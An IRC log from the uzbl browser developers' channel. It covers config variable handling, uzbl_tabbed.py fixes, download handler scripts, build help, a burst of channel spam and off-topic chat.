15:43 < mason-l> Well thats one way of avoiding documenting code...
15:43 < mason-l> ;)
15:44 < helmut> does iso c99 allow for mixing declarations and code btw?
15:44 < lwithers> helmut: yes, I think so, but I don't like it personally
15:45 < helmut> ack.
15:45 < helmut> and it kills splint
15:45 < lwithers> and goto
15:45 < lwithers> (as in, it kills goto, rather than I don't like goto, which I do :)
15:45 < helmut> but it certainly disallows variable length on-stack arrays, doesn't it?
15:46 < lwithers> erm, not sure, but I don't like those either...
15:46 < rob|> well, we could use something like: set home = @(sh -c 'echo $HOME')@  and respectively for other needed env vars and just use uzbl vars instead..
15:46 < lwithers> rob|: or you could just import environment vars as uzbl vars before reading config
15:46 < lwithers> that would probably be simpler for users
15:46 < helmut> lwithers++
15:46 < rob|> right, good idea..
15:47 < helmut> rob|: I'd like to remind you that I'll be on vacation starting from tomorrow. My webserver^Wdesktop will be offline then.
15:47 < lwithers> if you combine that with default values for XDG_CONFIG_HOME and XDG_DATA_HOME etc. it should simplify a lot of things for users too
15:48 < rob|> see, another good reason to use github ;)
15:48 < helmut> rob|: I could have used my other server, but I'm too lazy.
15:48 < rob|> lwithers: my only concern with your idea is that it would too easiyl lead to name clashes
15:49 < rob|> although we could prefix env vars with 'env_' or something
15:50 < helmut> aren't variables case sensistive?
15:50 < helmut> so normal uppercase variables would not disturb uzbl.
15:50 < rob|> they are, but currently we use the convetion everything UPPERCASE is a constant everything lowercase a variable
15:51 < helmut> ah. ok
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15:52 < rob|> but i guess we could say imported env vars are constants, i.e. it doesn't make sense to allow to change them from within uzbl
15:54 < lwithers> rob|: nah, as long as the config file can be used to override environment vars, it should be fine
15:54 < lwithers> see e.g. make, which does the same thing (more or less)
16:16 < rob|> lwithers: it can't be used to overide env vars, at least not those of the parent proc
16:18 < Dieterbe> i don't see the need to "automagically" load env vars
16:19 < rob|> Dieterbe: well, we could get rid of parseenv _and_ make things really easy for the user with that
16:19 < rob|> while remaining cosistent with our own vars
16:21 < Dieterbe> what exactly does parseenv do again?
16:24 < rob|> together with str_replace (another annoying function) it sort of expands env vars in the config
16:24 < rob|> set foo = $HOME/bar
16:25 < rob|> the idea is to get rid of both functions and use something like: set foo = @HOME/bar
16:25 < rob|> where option 1) is the user initializes HOME, etc. himself or 2) we do it automatically for all env vars
16:26 < scj> why not make all vars into env vars?
16:26 < rob|> personally i'm more for option 1)
16:28 < rob|> scj: do you really want all that vars exported into the environment?
16:28 < Dieterbe> you can say the same about automagically importing all env vars into the uzbl variable space :)
16:29 < rob|> indeed, that's why i vote for opt 1)
16:29 < Dieterbe> i wouldn't auto-import anything. what's wrong with the ability to just reference env vars like we do now?
16:29 < rob|> it's not consistent with our own vars
16:29 < rob|> and it sort of duplicates functionality
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16:31 < scj> I'm not sure why using the env for storing variables would be a bad idea
16:32 < rob|> need to run, more on that later..
16:33 < Dieterbe>  rob|> and it sort of duplicates functionality <-- hmm but uzbl variablespace != shell environment, so i don't consider this dup functionality
16:33 < Dieterbe> i think it's good that the user has access to both env vars and uzbl vars
16:34 < scj> spawned scripts would be able to manipulate the variables if they were in the env
16:34 < scj> I think..
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16:36 < Dieterbe> scj: don't think so. i don't think you can change env vars "upstream"
16:37 < scj> well, at least they'd be able to read them
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16:39 < lwithers> scj: as Dieterbe said, a child can't alter its parent's env
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16:40 < lwithers> but I like scj's idea because it means that child processes can view all uzbl vars -- seems like a good idea to me
16:40 < Dieterbe> or maybe we prefix them when exporting to the env?
16:41 < Dieterbe> $UZBL_TITLE, $UZBL_URI etc
16:41 < lwithers> could do but why?
16:41 < Dieterbe> to not clutter the environment
16:41 < lwithers> define clutter and why it matters?
16:41 < scj> makes sense, I guess
16:41 < lwithers> I mean, we're using the RAM anyway, regardless of whether prefixed or not
16:42 < lwithers> and as long as we don't clobber things like HOME and LANG it's ok
16:42 < Dieterbe> clutter = when sorted alphabetically, they are all over the place.
16:42 < lwithers> but maybe there's a good reason?
16:43 < Dieterbe> why it matters: my first idea was: i don't want more variables then needed, especially if they could override other variables that may be important for the user.  But i may be worrying over nothing
16:43 < Dieterbe> also: dunno how much it matters performance-wise
16:45 < scj> we could change it so $URI is $URI and @URI is $UZBL_URI
16:48 < Dieterbe> let's resolve this like this: first we determine what the simplest solution is, sloc-wise. then we consider if there are really practical problems associated with it and whether we can improve on the idea
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16:51 < bct> seems to me that rob's option 1 (user imports the env variables that they want as uzbl variables) is the cheapest.
16:51 < bct> it doesn't require any added code.
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16:53 < bct> the only deficiencies are that it's not as nice for the user and that you can't set variables for uzbl's children
16:53 < scj> wouldn't moving the variables into env remove some code?
16:53 < bct> can we do sh "VAR=xxx /bin/whatever" ?
16:55 < scj> and it seems a bit more unixy to make use of the env vars more
16:56 < bct> scj, i don't see why it would. most of the variable handling code is around parsing from/dumping to text, which we'd still need.
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17:42 < ruskie> hmm mason-l is there some command for uzbl_tabbed.py that would open a link in a new tab(by this I mean something I could echo to the socket or somehow tell set new_window)
17:49 < mason-l> ruskie, I'm just patching up some issues with uzbl_tabbed.py orphaning fifo sockets in /tmp but after that I am going to work on a "singleton" command line parameter which will open the list of urls given on the command line in the currently open uzbl_tabbed.py
17:49 < mason-l> as new tabs.
17:49 < mason-l> So its not a feature currently but its in the works.
17:49 < mason-l> Is that what you mean?
17:49 < ruskie> fine by me ;)
17:50 < ruskie> was just wondering if it was possible
17:50 < mason-l> Yeah totally.
17:50 < ruskie> though now will need a middleclick handler that will do it by default
17:50 < mason-l> Oh wait..
17:51 < mason-l> Do you just mean open link in new tab?
17:51 < ruskie> yeah but in such a way as usable by the new_window var
17:51 < mason-l> I added that feature ages ago. The day after new_window command made it into Dieterbe's experimental.
17:51 < ruskie> though the open tons of links en-mass is nice as well
17:52 < ruskie> so what does one need to do it?
17:52 < mason-l> ruskie, Nothing :)
17:52 < ruskie> erm
17:52 < ruskie> elaborate
17:53 < ruskie> because mid-click or open in new window both fail to work
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17:53 < mason-l> ruskie, Well you need the later version of uzbl_tabbed.py that supports it obviously.
17:53 < ruskie> todays clone of master?
17:53 < mason-l> Master = no.
17:54 < ruskie> ahh so will need to wait a bit until it hets it
17:54 < mason-l> Nope, give me a moment.
17:55 < mason-l> http://github.com/mason-larobina/uzbl/blob/experimental/examples/data/uzbl/scripts/uzbl_tabbed.py
17:55 < mason-l> ruskie, ^
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17:59 < ruskie> bind_clean_slate <-- does this close all?
17:59 < mason-l> ruskie, Closes all tabs and opens one fresh new one
17:59 < ruskie> nice
18:01 < ruskie> yay
18:01 < ruskie> along with middle_click.js :)
18:04 < ruskie> many thanks
18:04 < mason-l> ruskie, Stay tuned.
18:04 < mason-l> Can I get a hand in a moment?
18:04 < ruskie> wrt?
18:04 < mason-l> I just need someone to verify my new uzbl_tabbed.py version is working.
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18:05 < mason-l> (at cleaning up after itself that is)
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18:07 < ruskie> ahh sure
18:07 < ruskie> that was a bit annoying me since it failed to open new instances
18:07 < ruskie> hmm is that in this version already?
18:08 < ruskie> because from what I can it's doing that
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18:08 < holizz> Haha. I can't google for things starting with an "_".
18:10 < mason-l> ruskie, Nope not yet, I've almost finished it.
18:10 < ruskie> hmm then why is it cleaning after itself?
18:11 < mason-l> It did originally but ONLY if the application exits smoothly.
18:11 < mason-l> It can't handle keyboard interrupts and SIGTERMS
18:12 < lwithers> btw, in my experience with sockets/FIFOs, there are always conditions whereby you get a stale socket left on the filesystem
18:12 < lwithers> so in my startup code I always unconditionally unlink whatever is there
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18:20 < rob|> re
18:20  * Dieterbe off. see you later
18:20 < rob|> well with sockets you could just query for soemthing that's always set, sort of a ping, and see if you get back any value..
18:22 < mason-l> Is "killing children" an appropriate error message?
18:22 < mason-l> :)
18:22 < scj> "commencing infanticide"
18:22 < mason-l> And we have a winner!
18:23 < rob|> heh
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18:34 < jayzer> mason-l: you must not be in america
18:35 < jayzer> you were working when i went to sleep and you're still working as a wake up
18:35 < mason-l> :)
18:36 < mason-l> If its any consolation its 00:36 at the moment.
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18:43 < jayzer> not bad
18:44 < jayzer> 13 hours ahead..
18:44 < jayzer> are you in asia?
18:44 < mason-l> Kinda :)
18:45 < mason-l> Australia, close enough.
18:45 < jayzer> australia
18:45 < jayzer> australia, asia, europe, same thing.. (i'm american)
18:45 < jayzer> they're all not america is all i know
18:45 < jayzer> :P
18:47 < jayzer> ok, the ignorant/arrogant american joke has run its course, i suppose
18:48 < jayzer> i find it interesting, though, that it seems most of the movers and shakers in the world of Arch seem to come from abroad
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18:52 < mason-l> ruskie, I've uploaded it if you would like to give it a whirl
18:52 < ruskie> commit hash?
18:54 < mason-l> ruskie, d9c14fb22568fed3ded726fc0f9a14676c270d94
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18:54 < mason-l> Thats my current head ^
18:55 < ruskie> so sigkill cleanup?
18:55 < ruskie> and sigint right?
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18:55 < mason-l> I've added catching of SIGTERM & SIGINT.
18:55 < mason-l> You cant catch SIGKILL.
18:55 < mason-l> I would if I could.
18:56 < ruskie> works on int
18:56 < ruskie> and on term
18:56 < mason-l> And no leftover fifo's in your fifo_dir?
18:56 < ruskie> nope
18:56 < mason-l> Nice.
18:57 < mason-l> rob|, If you want to quickly give my changes a look over, I think I've got a worthy candidate for a pull.
18:58  * ruskie goes back to trying to merge a huge chunk from svn into a git repo
18:58 < predatorfreak> mason-l: Did you ever get around to working on allowing uzbl_tabbed to open a new tab in an already existing window? :)
18:58 < mason-l> predatorfreak, As I mentioned to ruskie earlier thats the next on my todo list.
18:58 < ruskie> predatorfreak, you mean on midclick ?
18:59 < ruskie> or in general
18:59 < mason-l> I may find time this weekend to implement that but I've got some real-life work to finish also.
18:59 < predatorfreak> No, I mean like calling it externally.
18:59 < mason-l> ruskie, Nope, he means what I explained to you earlier.
18:59 < ruskie> ahh
19:00 < mason-l> ruskie, Its like the ability to open a url from a terminal window or an irc chat window in a currently running uzbl_tabbed.py
19:00 < mason-l> The closest possible at the moment is the gY shortcut to open new tab from clip
19:00 < mason-l> Unless someone writes a uzb_tabbed_ctrl.py :P
19:02  * ruskie goes back to merging
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19:26 < adminjs> heya
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19:30 < adminjs> can someone help me to connect the pdf extension with okular in uzbl?
19:32 < holizz> adminjs, You'll want to fiddle with the download_handler.
19:33 < scj> mailcap
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19:35 < adminjs> and how would i configure that function - the examples are quite thin
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19:37 < holizz> adminjs, The default download_handler just runs wget on the $8 argument it gets. So you want to do some string comparison to see if it ends with ".pdf", and if so, run okular $8.
19:39 < adminjs> ah i see do you have some kind of template e.g. file extention wmv exec mplayer
19:40 < holizz> adminjs, Nope. Just write it as you'd write any other software. Most of the example scripts are sh or Python.
19:41 < bct> don't check the extension, you'll make timbl cry :(
19:43 < holizz> Hey, it might be an idea for uzbl to send the MIME type as $9. That way the script doesn't have to do two requests if it's doing MIME-based handling.
19:44 < adminjs> i'm new to uzbl and need a hand
19:44 < DuClare> Are you new to shell scripting?
19:44 < bct> i'm hoping that hooking into navigation-policy-request will give us stuff like mimetype, request method and auth details.
19:44 < scj> should probably make the download script use mailcap
19:44 < adminjs> kinda
19:46 < adminjs> it's easier to me to have an example which i customize then
19:46 < DuClare> Well, in fact there already is an example
19:46 < bct> the download handler example is pretty spartan
19:46 < adminjs> yes
19:47 < DuClare> adminjs: It already shows how to check for a file extension
19:47 < adminjs> you mean the torrent one
19:47 < bct> i'm sure i remember somebody wrote a fancier one that did cookies, anyone remember who?
19:47 < DuClare> adminjs: Yes
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19:51 < adminjs> will this work
19:51 < adminjs> if echo "$url" | grep -E '.*\.pdf' then sh '/usr/bin/okular'
19:52 < DuClare> You're forgetting "$url"
19:52 < DuClare> (provided okular can fetch it from the remote location in the first place)
19:52 < DuClare> You might also want to brackground it
19:52 < DuClare> And finally, you don't want sh
19:53 < DuClare> okular "$url" &
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20:01 < adminjs> okular can do that
20:07 < adminjs> jipieee i've got it
20:07 < adminjs> if echo "$url" | grep -E '.*\.pdf' >/dev/null;
20:07 < adminjs> then "okular" "$url" &
20:07 < adminjs> else  "okular" "$url" &
20:07 < adminjs> fi
20:09 < DuClare> Uhm
20:09 < DuClare> You don't want to use okular in the else part
20:13 < bjoernfan> What email clients do you guys use? (This is not too off-topic, is it?)
20:13 < rob|> adminjs: echo "$url" | grep '\.pdf$'>/dev/null && echo yep || echo nope
20:13 < DuClare> bjoernfan: Mutt
20:14 < DuClare> But probably switching to Gnus as soon as I have the time
20:15 < bjoernfan> I thought mutt development was abandoned or something... hm
20:15 < rob|> bjoernfan: also mutt
20:15 < DuClare> No, it's being developed actively
20:15 < rob|> off, time to watch reinhold messner..
20:15 < DuClare> Enjoy
20:20 < lwithers> bjoernfan: mutt ...
20:20 < lwithers> bjoernfan: it's IMAP support is the best I've ever seen
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20:20 < DuClare> Who needs imap
20:21 < lwithers> me
20:21 < DuClare> Cool :]
20:21 < lwithers> :^)
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22:14 < rob|> mason-l: you around?
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05:43 < bct> can somebody with dmenu-vertical < 4.0 tell me if dmenu -v says dmenu-vertical?
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05:45 < bct> load_url_from_*.sh tests for vertical support using a regexp that doesn't work on 4.0.
05:46 < joyfulgirl> bct: Does dmenu 4.0 have vertical support?
05:47 < joyfulgirl> bct: If so, why not just edit the regexp? It's just an example script, after all.
05:47 < bct> no, there's a 3rd party patch.
05:47 < bct> and actually it looks like the version of the patch that is more limited than the one for 3.9 was.
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05:54 < bct> anyways, the original regexp is kind of silly and i'm kind of hoping that it can be replaced with dmenu -v | grep -- -version without breaking the script for people still on 3.9
05:54 < bct> grep -- -vertical, rather.
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08:38 < rob|> bct: dmenu-3.9-vertical, © 2006-2008 dmenu engineers, see LICENSE for details
08:38 < rob|> morning
08:48 < krayon> imho just patch it and then you can have both installed and do away with any grepping in scripts (just use which)
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08:48 < krayon> Oh, um, my comment is re: dmenu stuff from ~3 hours ago :S
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09:26 < rob|> mason-l: could you eventually merge latest experimental so i don't have to deal with too many conflicts when pulling in uzbl_tabbed changes?
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09:28 < Dieterbe> morning ladies
09:28 < rob|> hey dieter
09:29 < rob|> just watched a nice 45min interview with william gibson (the neuromancer writer) unfortunatelly with german syncro
09:29 < Dieterbe> scj> "commencing infanticide" <-- lol
09:31 < Dieterbe> bct: someone "lost" all the fancy changes in the dmenu-vertical package in the arch AUR
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09:35 < Dieterbe> never heard of neuromancer
09:36 < krayon> :o
09:37 < krayon> "...notable for being the most famous early cyberpunk novel..." (wikipedia)
09:37 < rob|> yeah, the book is great
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09:38 < rob|> especially his matrix rant was rather cool
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09:40 < Dieterbe> matrix rant?
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09:40 < rob|> yeah, he ranted about the matrix movie
09:42 < Dieterbe> oh, so the book is not that old
09:43 < rob|> well, not in the book but in the movie
09:43 < rob|> err interview
09:44 < Dieterbe> aha
09:44 < rob|> anyways, i think gibson's neuromancer and asomov's foundation trilogy are absolute must reads
09:44 < rob|> *asimov
09:44 < Dieterbe> can i take the shortcuts and watch the movies?
09:45 < rob|> which one?
09:48 < Dieterbe> neuromancer and the asomov foundation ones :) (assuming theyall have movies, i didn't check)
09:49 < rob|> no, i don't think these are available in form of movies
09:49 < rob|> "just" books
09:49 < krayon> http://www.antonraubenweiss.com/gibson/gibson0.html <-- Neuromancer movie stalled since 1990 ... maybe one day :P
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10:29 < mason-l> Hey rob| I got your message, doing it now.
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10:32 < mason-l> rob|, I've just checked right now "Already up-to-date.", the pulling I did last night already made me up-to-date with Dieterbe's experimental.
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10:37 < rob|> mason-l: alright pushed, thank you
10:38 < mason-l> No problem.
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10:56 < rob|> mason-l: i'm not really sure which commands can be sent to uzbl_tabbed via its fifo, how would i express something like: echo 'open-in-new-tab uri' > tabbed_fifo
11:01 < rob|> is this possible at all, yet?
11:01 < ruskie> I think he was working on that or it's pending
11:02 < rob|> ah, ok
11:03 < ruskie> but atleast openening new windows in tabs is working ;)
11:03 < rob|> oh, got it. reading the code helps ;)
11:03 < rob|> echo 'new uri' > tabbed_fifp
11:03 < rob|> *o
11:03 < rob|> very nice
11:03 < ruskie> ow
11:04 < Dieterbe> rob|: it almost sounds like you're joining the dark side?
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11:08 < krayon> What's everyone else's solution to new window opening for non-normal links atm?
11:08 < krayon> My current solution is creating a temporary webkit but that's really yuck.
11:09 < rob|> Dieterbe: well, i enjoy trying out different ideas. and uzbl_tabbed definitly got a nice piece of work
11:10 < Dieterbe> :)
11:13 < rob|> so my urxvt uri-lauch script handles uzbl_tabbed, too :)
11:14 < rob|> with two failsafe cases
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13:02 < ruskie> lol getting a Bad User Agent on some ads on icanhazcheeseburger ;)
13:02 < ruskie> so there is ad blocking in uzbl ;)
13:09 < N30N> ruskie: nice xD
13:09 < DuClare> Haha
13:10 < Dieterbe> i don't get it. why do they check the user agent when serving static content :/
13:11 < Dieterbe> ah, maybe for stats
13:11 < scj> still doesn't make sense
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16:59 < tommi69> hi there - i'm using debian lenny and i can't understand the german page linked in the wiki. is there a package for debian lenny?
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17:05 < scj> have you tried adding the repo to sources?
17:05 < scj> I don't speak german either, but it's not like there's that many words to decipher
17:06 < tommi69> scj: yea got it, i thought there were packages ready for lenny, i didn't get i had to compile it myself. ubiquity answered my translation needs, thanks :)
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21:57 < jelly12gen> hi is there a way to reload your config in uzbl ?
21:58 < ruskie> iirc !reload by default
21:58 < jelly12gen> ok
21:58 < ruskie> check the config file as well
21:58 < jelly12gen> yeah
21:58 < jelly12gen> sh 'cat $1 > $4'
21:59 < jelly12gen> hm
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22:07 < jelly12gen> yeah !reload works
22:07 < jelly12gen> thanks
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22:08 < scj> has the reload bug been fixed?
22:08 < scj> the one that caused uzbl to crash occationally on reload
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22:37 < bct> scj, if you mean reloading config then yes.
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22:38 < tommi69> hi there - finally got to test uzbl, it's *great*
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22:46 < tommi69> is there a way in uzbl_tabbed.py to have middle clicked links to open in a new tab without changing to it, something like open in background in FF
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22:50 < scj> bct: yes, that is what I meant, and good to hear
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04:48 < noisetonepause> argh
04:48 < noisetonepause> latest ubuntu libwebkit depends on gnome-keyring
04:48 < noisetonepause> do not like.
05:16 < murth> on arch it pulls in gconf due to libsoup which i don't like either
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07:00 < mason-l> Morning guys
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07:02 < objorn> no tabs, aye?
07:03 < objorn> i'm very excited to have found this software
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07:17 < qa> ,mnfgbdxbgfdxzg
07:17 < qa> dd
07:18 < qa> rfbhgtrxdfujt7f5io
07:18 < qa> y7o9
07:18 < qa> 0y8df
07:18 < qa> yt
07:18 < qa> st
07:18 < qa> tystf
07:18 < qa> ui
07:18 < qa> gopiy875w64sudio87
07:18 < qa> tiut5
07:18 < qa> ryterytui
07:18 < qa> OH SHIT SORRY GUYS MY BAD
07:18 < mason-l> ..?
07:18 < qa> my keyboard was going crazy
07:19 < qa> literally caught on fire
07:19 < qa> had to put it out
07:19 < Rodya> pictures plox
07:19 < mason-l> <objorn> no tabs, aye? <-- There is third party tabs provided by the third-party uzbl_script.py in the scripts directory.
07:19 < qa> uhhhhhhhhhhhh
07:19 < qa> camera is broken
07:20 < qa> i was coding liinux so fast that the keys got that hot
07:20 < qa> i just reimplemented the whole kernel in uzbl
07:20 < qa> and D
07:20 < qa> but mostly C#.NET
07:21 < mason-l> qa, You sicken me.
07:21 < Rodya> if i weren't drunk i'd have vomitted
07:21 < qa> because i'm such a leet coder
07:21 < qa> ?
07:21 < g111> :-O
07:22 < qa> why do i sicken you mason-l?
07:22 < mason-l> <qa> but mostly C#.NET
07:22 < qa> what, i just reimplemented the whole kernel in C#.NET so it runs faster
07:22 < qa> the linux kernel
07:23 < qa> dont worry i used some UZBL here and there in the code
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07:24 < murth> err....
07:24 < mason-l> Its times like these I wish we had an op in the channel.
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07:24 < qa> hmm my mainframe crashed
07:25 < qa> that was strange of the sql server
07:25 < qa> ill just have to recode it in PERL
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07:37 < qa> BALLS BIG HAIRY BALLS
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07:37 < qa> my bad cat walked across the keyboard and typed that
07:38 < qa> BALLS BIG HAIRY BALLS FUCK SHIT PISS
07:38 < qa> damn cat get out of here
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07:38 < qa> HEY
07:38 < qa> HOW ARE J00?
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07:39 < qa> #$^#$^
07:39 < qa> #%^
07:39 < qa> $#%
07:39 < qa> ^%$^#%$^$^^^#
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07:51 < scj> wat
08:00 < Cheeseum> the regex from hell
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08:24 < objorn> http://dpaste.com/73961/
08:24 < objorn> that is the last few lines of my attempt to compile uzbl
08:27 < objorn> let me make sure i have the dependencies first...
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09:07 < Rodya> objorn, it would probably help more if you could send more of the output
09:11 < objorn> Rodya: yeah? how to do that?
09:11 < objorn> make install > blah.txt
09:11 < objorn> ?
09:11 < objorn> s/install//
09:12 < objorn> and then wgetpaste blah.txt
09:12 < objorn> i tried that earlier but it didn't give me the output
09:12 < objorn> just a few lines
09:12 < objorn> i'm installing some of the dependencies
09:12 < objorn> ..even though i had everyone me thinks
09:13 < objorn> time for bed, will be back in probably 24 hours
09:14 < Rodya> objorn, iirc, that only redirects stdout
09:14 < objorn> oh
09:14 < Rodya> you probably want make install &> blah.txt
09:14 < Rodya> i haven't tested it, though
09:15 < scj> objorn: make 2&>1 | tee build.log
09:18 < objorn> http://pastebin.com/m3b1ffd5b
09:18 < objorn> scj: argh, i didn't see
09:18 < objorn> but thanks to both of you, i learned something new
09:19 < Rodya> objorn, you're building uzbl, yes?
09:19 < objorn> Rodya: yes sir
09:19 < objorn> or madam
09:19 < Rodya> "No package 'webkit-1.0' found" implies that you don't have the libwebkit
09:20 < objorn> Rodya: it's emerging as we speak
09:20 < Rodya> ^.^
09:20 < Rodya> sir, btw
09:20 < mason-l> objorn, You're on Gentoo?
09:20 < objorn> mason-l: yup
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09:21 < mason-l> objorn, And you're trying to build uzbl from an ebuild or some overlay?
09:21 < objorn> mason-l: from source fetched with git i believe
09:21 < mason-l> objorn, But still your using an ebuild to build it?
09:22 < mason-l> My advice would be to stop that :P Go directly to http://www.uzbl.org/get.php and follow those instructions.
09:22 < objorn> mason-l: uh, no. i've been discussing ebuilds in #gentoo-dev-help tonight though
09:22 < mason-l> Also you will require net-libs/webkit-gtk installed.
09:23 < objorn> mason-l: right, so that's what i was following
09:23 < scj> objorn: did you take a look at http://www.uzbl.org/wiki/gentoo_ebuild ?
09:23 < objorn> scj: i have not
09:23 < objorn> ty
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09:25 < mason-l> objorn, Well the choice is yours, I'm just going by my own experience installing uzbl for the first time.
09:25 < objorn> Rodya, scj. those bash commands were helpful. i couldn't even read the top of the output, that would have saved some time
09:26 < objorn> that == knowing those commands earlier
09:27 < Rodya> objorn, glad it helped
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09:29 < rob|> morning.
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09:29 < mason-l> morning rob|
09:30 < mason-l> We had an idiot spam the channel earlier with useless nonsense. Do you know who here has the ability to ban such fellows?
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09:31 < scj> only dieterbe, afaik
09:31 < rob|> yeah, i guess dieter registered the chan
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09:52 < rob|> holizz: the webserver at your domain gives funny errors..
09:52 < rob|> is that intended?
09:54 < holizz> rob|, holizz.com? What errors?
09:55 < rob|> no, np-edv.at
09:56 < holizz> Never heard of it.
09:56 < rob|> holizz [n=holizz@vz.np-edv.at] has joined #uzbl  <-- ??
09:57 < holizz> Ah. I connect to freenode via a Jabber transport because they block Tor exit points... and their Tor service just doesn't work.
09:57 < rob|> oh, alright i see :)
09:58 < rob|> i wondered wether you moved to austria ;)
10:01 < scj> rob|: have you put any more thought into my suggestion on moving uzbls internal vars to env?
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10:03 < rob|> no, i don't think it's feasible to do so as the environment is not a shared memory area and it wouldn't save any code in uzbl
10:05 < scj> oh, ok
10:07 < rob|> we could write a command 'export_to_env <uzbl var>', though.
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10:07 < rob|> which would basically call putenv() on any uzbl var
10:08 < rob|> not too sure wether this is really needed..
10:08 < mason-l> rob|, What would that achieve? whats the advantage of doing so? Is this so that scripts called by uzbl can access its config via $VARNAME?
10:09 < scj> mason-l: yeah, that would be the point
10:09 < rob|> mason-l: yes, no need to access any sockets/fifos. just use env vars for it
10:09 < rob|> though, this will only work if you'd just need to read the vars
10:09 < scj> you'd still need a fifo for setting vars
10:10 < mason-l> And I take it if you change a environment variable child processes can read the new value on their next read?
10:11 < rob|> yes, the changes are propagated from the parent to the childs
10:11 < rob|> not the other way around, though
10:11 < rob|> s/childs/children/
10:14 < rob|> ah, i guess i see what you're saying. well no, that won't work
10:18 < rob|> if i'm not mistaken the child gets a copy of the environemnt on creation time, i don't think you can easily propagate chenaged values to it
10:18 < rob|> without some sort of IPC that is
10:19 < rob|> also the size of the env or the amount of vars it can hold is limited and different shells have different limits
10:20 < rob|> that's why i don't think this is a stable or feasible approach
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10:46 < Dieterbe> morning lads
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12:46 < mason-l> I don't really know how it works but has our group been added to google groups? (Google groups is a mailing list tracking service is it not?)
12:47 < mason-l> "has our group been added" I mean "has our mailing list been added"
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13:05 < Dieterbe> afaik google groups _is_ a mailing list
13:05 < Dieterbe> not sure if they track other lists
13:05 < mason-l> Ah.
13:06 < rob|> they track usenet groups at least
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13:49 < holizz> We don't have a way to set the preferred language, do we? Damn, gonna have to test in Firefox.
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14:18 < lwithers> rob|: I still like the idea of just using the env for all vars, but you did raise some good points about it this morning
14:19 < lwithers> rob|: you're right about the child not being able to set vars in the parent, and changes in the parent won't affect already-running children
14:19 < scj> I don't see that as an issue though
14:20 < lwithers> I guess we need to work out exactly what we're trying to achieve
14:20 < scj> but I didn't know about the different shells env limitations
14:20 < lwithers> environment isn't limited by the shell, but it must be passed by the kernel I guess
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14:47 < rob|> indeed, see http://www.kernel.org/doc/man-pages/online/pages/man2/execve.2.html   section "Limits on size of arguments and environment"
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14:54 < rob|> still, i think we shouldn't export our vars by default into the env but rather provide a command that does so, if this feature is really needed and of practical use of course
14:55 < rob|> in fact this will only be useful for "fire once" scripts
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15:05 < scj> yeah, it wouldn't get rid of the need for sockets/fifos
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15:10 < scj> but in my mind, it would make uzbl closer to the unix philosophy, since uzbl wouldn't have to reimplement user definable variables and let the kernel deal with it
15:11 < scj> if it's technically feasible or even a good idea, I do not know
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15:33 < rob|> scj: see my tree, branch 'export-to-environment'. i added a uzbl command 'export_to_env' that will export all uzbl vars to the environment
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16:18 < rob|> well, if it proves to be useful i can enhance it further so you can export only specific vars, etc.
16:18 < kanzure> rawr, where has uzbl been for the past decade
16:19 < rob|> kanzure: /dev/random  we managed to filter that so that uzbl came to existance ;)
16:19 < kanzure> huh, sounds like a nifty parlor trick
16:20 < kanzure> a few days ago I began writing pyscholar, some python classes and code for essentially doing what zotero (for Firefox) does
16:20 < kanzure> but zotero does not belong in a browser
16:20 < kanzure> so I'm guessing a simple script call will be sufficient in this case
16:22 < rob|> i have no idea in which way zotero interacts with the browser
16:24 < kanzure> unfortunately the way that firefox works is that extensions are simply javascript but with hairy messes tied into the mozilla framework
16:24  * kanzure goes out to hunt some food
16:24 < rob|> enjoy..
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16:30 < rob|> on another note, is jailbird equivalent to (the brit.) lag? or are there any other colloquial/slang terms for it? searching for something in a negative context
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16:35 < holizz> What does lag mean?
16:36 < holizz> Jailbird is American slang for somebody in prison, right? I've never heard "lag" before.
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16:37 < rob|> yep, according to dict.leo.org lag is brit. slang for jailbird..
16:39 < rob|> holizz: you're british, right? so i guess 'lag' is not a very common term..
16:41 < holizz> Yep.
16:41 < holizz> How about "con" as a synonymn?
16:42 < rob|> hmm, never heard of that one.
16:42 < rob|> con as in convicted?
16:42 < holizz> As in a convict.
16:42 < rob|> ah, ok
16:43 < holizz> I've heard it in UK prison dramas and in US things too.
16:45 < rob|> ok, i'll take that one for my rant :)
16:45 < holizz> Where are you from? And what do you need British slang for?
16:46 < rob|> germany
16:46 < rob|> well, i just needed some negative term for a person in prison
16:46 < holizz> I was there this week :D I can barely speak a word, but it was fun.
16:48 < rob|> heh, well german isn't particularly easy or logical
16:48 < rob|> there are more irregular cases than regular ones/rules ;)
16:50 < rob|> every noun is prefixed with an 'article' to indicate if it's male/female/neutral and there are no rules at all that would help you decide which one is right...
16:51 < rob|> like: the house = das Haus - the chair = der Stuhl - the bridge = die brücke
16:51 < holizz> I think I only used "die" for every noun while I was out there. People understood me.
16:51 < rob|> sure
16:52 < holizz> German for lazy people tape 1: "die Haus", "die Stuhl", "die brucke".
16:52 < rob|> hehe
16:53 < holizz> My only complaint about Germany: museums aren't free.
16:54 < rob|> yeah, i was really suprised to see most mueseums in britain (even the british museum in london) to be free
16:59 < rob|> btw, are really funny site written by an american living in germany: http://nothingforungood.com/   he's like comparing german habits to US ones, fun read!
16:59 < rob|> s/are/a/
16:59 < scj> rob|: cool beans, I'm gonna play around with it later today
17:07 < holizz> rob|, What's with all those letters in German job adverts? "(m/w)" and such.
17:08 < rob|> m/w == male/female
17:08 < rob|> männlich/weiblich
17:09 < holizz> And they need to specify the sex of the applicants?
17:10 < rob|> well, they tell you what they're looking for. some companies offer certain jobs only for women, etc.
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17:11 < holizz> Is that like affirmative action?
17:12 < rob|> well, it might be in some cases
17:13 < rob|> especially in adverts for home help you'll find many people seeking only for women
17:13 < holizz> Interesting. Here application forms often ask your sex/race/disability and then use that to show they're not discriminating, or something.
17:13 < rob|> or au pair stuff, etc
17:15 < rob|> yeah, i guess many companies in germany have an attitude of "we offer you a job" and not "you do the work for us"
17:20 < rob|> hehe http://nothingforungood.com/2008/12/15/quick-tipp-figuring-out-new-words/
17:20 < rob|> that guy is hilarious :)
17:24 < scj> so are you somehow supposed to know, a priori, that germans believe that jaundice is some form of addiction?
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17:30 < rob|> heh, probably
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17:40 < kanzure> so is there anything that doesn't work in uzbl yet? I mean, backend things that you would expect to work, but not necessarily the crap that other browsers force down a user's throat.
17:41 < holizz> kanzure, It works for certain definitions of work.
17:43 < kanzure> does WebKit do https, ssl, etc.?
17:43 < holizz> Of course.
17:44 < scj> do cookies 'work' now? I haven't tried any of the daemons
17:46 < holizz> scj, I use cookie_daemon.py. It handles cookies perfectly in all the Web sites I've come across, and it's very fast.
17:46 < scj> holizz: cool
17:46 < kanzure> I used to browse in opera with 400+ tabs at a time.. glad I can use my window manager now.
17:47 < scj> if you use 400+ tabs, you are doing it wrong
17:47 < kanzure> well, I do a lot of queuing
17:47 < kanzure> but I don't need it to be "literally" queued
